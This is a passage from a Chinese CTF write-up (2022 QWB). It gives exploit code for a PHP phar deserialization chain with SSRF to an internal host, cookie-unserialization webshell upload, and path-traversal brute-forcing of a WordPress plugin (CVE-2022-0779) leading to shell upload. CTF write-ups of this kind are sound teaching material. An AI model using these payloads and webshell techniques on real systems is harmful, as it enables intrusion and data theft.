op_data[2*i]) flag_end = [BitVec('f%d' % i, 8) for i in range(4)] s = Solver() s.add(flag_end[0]+flag_end[1] == 0x6c) s.add(2*flag_end[0]+flag_end[1] == 0xa1) s.add(flag_end[2]+flag_end[3] == 0xb1) s.add(2*flag_end[2]+flag_end[3] == 0xe5) if s.check() == sat: m = s.model() flag1 = [m[flag_end[i]].as_long() for i in range(4)] print(bytes(flag0+flag1)) ``` FLAG:flag{366c950370fec47e34581a0574} (最后吐槽一句:这题能有50+解?人人都打Google CTF是吧,太假了。。) *** ## 3. Web ### 3.1 easyweb `Author: ABU` showfile.php?f=php://filter/resource=./demo/../index.php 可以读取到文件,读到三个index.php、upload.php和class.php的源码 ![title](https://leanote.com/api/file/getImage?fileId=62e78a23ab6441083771ff26) 通过观察源码可知,index.php在`$_POST['submit']`存在时会进入upload.php,upload.php在`$_SESSION`存在时会进入class.php的upload类进行上传操作 class.php如下 ``` <?php class Upload { public $file; public $filesize; public $date; public $tmp; function __construct(){ $this->file = $_FILES["file"]; } function do_upload() { $filename = session_id().explode(".",$this->file["name"])[0].".jpg"; if(file_exists($filename)) { unlink($filename); } move_uploaded_file($this->file["tmp_name"],"./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename); echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!'; } function e($str){ return htmlspecialchars($str); } function upload() { if($this->check()) { $this->do_upload(); } } function __toString(){ return $this->file["name"]; } function __get($value){ $this->filesize->$value = $this->date; echo $this->tmp; } function check() { $allowed_types = array("jpg","png","jpeg"); $temp = explode(".",$this->file["name"]); $extension = end($temp); if(in_array($extension,$allowed_types)) { return true; } else { echo 'Invalid file!'; return false; } } } class GuestShow{ public $file; public $contents; public function __construct($file) { $this->file=$file; } function __toString(){ $str = $this->file->name; return ""; } function __get($value){ return $this->$value; } function show() { $this->contents = file_get_contents($this->file); $src = "data:jpg;base64,".base64_encode($this->contents); echo "<img src={$src} />"; } function __destruct(){ echo $this; } } class AdminShow{ public $source; public $str; public $filter; public function __construct($file) { $this->source = $file; $this->schema = 'file:///var/www/html/'; } public function __toString() { $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; } public function __get($value){ $this->show(); return $this->$value; } public function __set($key,$value){ $this->$key = $value; } public function show(){ if(preg_match('/usr|auto|log/i' , $this->source)) { die("error"); } echo 'show'; $url = $this->schema . $this->source; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = "data:jpg;base64,".base64_encode($response); echo "<img src={$src} />"; } public function __wakeup() { if ($this->schema !== 'file:///var/www/html/') { $this->schema = 'file:///var/www/html/'; } if ($this->source !== 'admin.png') { $this->source = 'admin.png'; } } } ``` 观察class.php可以发现存在`file_exists($filename)`,同时文件名可控,因此可以确定是phar反序列化,利用链如下GuestShow类的`__destruct() -> AdminShow类的__toString() -> __get() -> show()`,于是可以编写phar.php,同时upload的`isset($_SESSION)`可以通过上传`PHP_SESSION_UPLOAD_PROGRESS`绕过,并在fname控制文件名,phar构造如下如下 ``` <?php class GuestShow{ public $file; public function __construct($file) { $this->file=$file; } function __toString(){ $str = $this->file->name; return ""; } function __get($value){ return $this->$value; } function __destruct(){ echo $this; } } class AdminShow{ public $source; public function __construct($file) { $this->source = $file; $this->schema = 'http'; } public function __toString() { $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; } public function __get($value){ $this->show(); return $this->$value; } public function __set($key,$value){ $this->$key = $value; } public function show(){ } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $a = new GuestShow(new AdminShow('://10.10.10.10/?url=file:///flag')); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ``` exp.py如下 ``` import requests import hashlib import os import re def resign(source="phar.phar",target="phar2.phar"): phar=None with open(source,"rb") as f: phar=f.read() phar=phar.replace(b'O:9:"AdminShow":2:',b'O:9:"AdminShow":3:') #强制GC source=phar[:-28] #需要进行签名的数据 GBMB=phar[-8:] #签名标志(通常都是sha1??)和GBMB标签 signature=hashlib.sha1(source).digest() #sha1签名 phar=source+signature+GBMB with open(target,"wb") as f: f.write(phar) resign() url1='http://47.104.95.124:8080/index.php?fname=1.jpg' url2='http://47.104.95.124:8080/index.php?fname=phar://06b46f90628cc6be2120b30dc15294fa/1.jpg' cookie={ 'PHPSESSID=aaa':'aaa' } data={ 'PHP_SESSION_UPLOAD_PROGRESS':'aaa', 'submit':'提交' } file={ 'file':('phar2.phar',open('phar2.phar','rb')) } response1=requests.post(url=url1,cookies=cookie,data=data,files=file) response2=requests.post(url=url2,cookies=cookie,data=data,files=file) print(response1.text) print(response2.text) ``` 由于要绕过__wakeup(),需要修改属性个数并进行phar重签名,接着便是打内网。 读取/proc/net/arp,发现除网关外还有一个10.10.10.10 ip是真实的,http访问后得到index.php源码 ``` <?php //内网资源阅读器-测试机 //配置信息请看phpinfo.php highlight_file(__FILE__); if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); echo $result; } if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){ system('cat /flag'); die(); } ?> ``` 发现有url参数和flag位置,于是修改payload为 `http://10.10.10.10/?url=file:///flag` 即可 ![title](https://leanote.com/api/file/getImage?fileId=62e78ad8ab6441083072794d) FLAG:flag{easy_penetration_it_is_!_QAQ} *** ## 4. 强网先锋 ### 4.1 rcefile `Author: ABU` /www.zip 获取源码,upload.php,config.inc.php,showfile.php showfile.php ``` <?php include 'config.inc.php'; foreach ($userfile as $file){ $file=e($file); echo "<li><a href=\"./{$file}\" target=\"_blank\">" . $file . "</a></li>\n"; } ?> ``` config.inc.php ``` <?php spl_autoload_register(); error_reporting(0); function e($str){ return htmlspecialchars($str); } $userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]); ?> <p> ``` upload.php ``` <?php include "config.inc.php"; $file = $_FILES["file"]; if ($file["error"] == 0) { if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) { $typeArr = explode("/", $file["type"]); $imgType = array("png","jpg","jpeg"); if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){ exit("type error"); } $blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"]; $filearray = pathinfo($file["name"]); $ext = $filearray["extension"]; if(in_array($ext, $blackext)) { exit("extension error"); } $imgname = md5(time()).".".$ext; if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) { array_push($userfile, $imgname); setcookie("userfile", serialize($userfile), time() + 3600*10); $msg = e("file: {$imgname}"); echo $msg; } else { echo "upload failed!"; } } }else{ exit("error"); } ?> ``` 过滤了很多后缀,需要绕过,同时config.inc.php在cookie处有反序列化,搜到一篇类似的文章https://skysec.top/2017/11/27/%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E8%B5%9Bweb400/ 先上传带有一句话webshell的恶意的inc文件,得到上传文件名79ff682eb885c50966c11068e6225ea1.inc,然后构造序列化数据,再url编码 ![title](https://leanote.com/api/file/getImage?fileId=62e78b07ab64410830727950) 发送cookie ,命令成功执行 ![title](https://leanote.com/api/file/getImage?fileId=62e78b0cab6441083771ff2d) `FLAG:flag{b3299459-c29a-49ed-b099-52d54fd98697}` ### 4.2 WP-UM `Author: hututu` 根据给的插件搜到CVE-2022-0779 ,结合用户名和密码文件提示,直接爆破username和password ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Host: eci-2zefnon2z47hg4qkse9p.cloudeci1.ichunqiu.com Content-Length: 159 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://eci-2zefnon2z47hg4qkse9p.cloudeci1.ichunqiu.com Referer: http://eci-2zefnon2z47hg4qkse9p.cloudeci1.ichunqiu.com/index.php/register/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close field_name=test&filepath=/../../../../../../../../password/§1e§&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=553252b2e4&is_ajax=true ``` ![title](https://leanote.com/api/file/getImage?fileId=62e78b36ab64410830727955) ![title](https://leanote.com/api/file/getImage?fileId=62e78b3cab64410830727956) 跑出来username和password分别为: MaoGePaMao MaoGeYaoQiFeiLa 登录后在编辑插件这里直接写shell。 ![title](https://leanote.com/api/file/getImage?fileId=62e78b4dab6441083771ff30) 蚁剑连接:http://eci-2ze9t991j3rs8zqnafu2.cloudeci1.ichunqiu.com/wp-content/plugins/akismet/index.php 密码:a ![title](https://leanote.com/api/file/getImage?fileId=62e78b51ab6441083771ff31) flag{2586270f-8b6b-43b1-b9d4-3e458e7e2851} *** ## 5. MISC ### 5.1. 签到 复制粘贴 ### 5.2 问卷调查 填问卷 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2022 网鼎杯初赛(青龙组) Writeup By Xp0int 2022 CISCN 线上初赛 部分题目 Writeup By Xp0int
没有帐号? 立即注册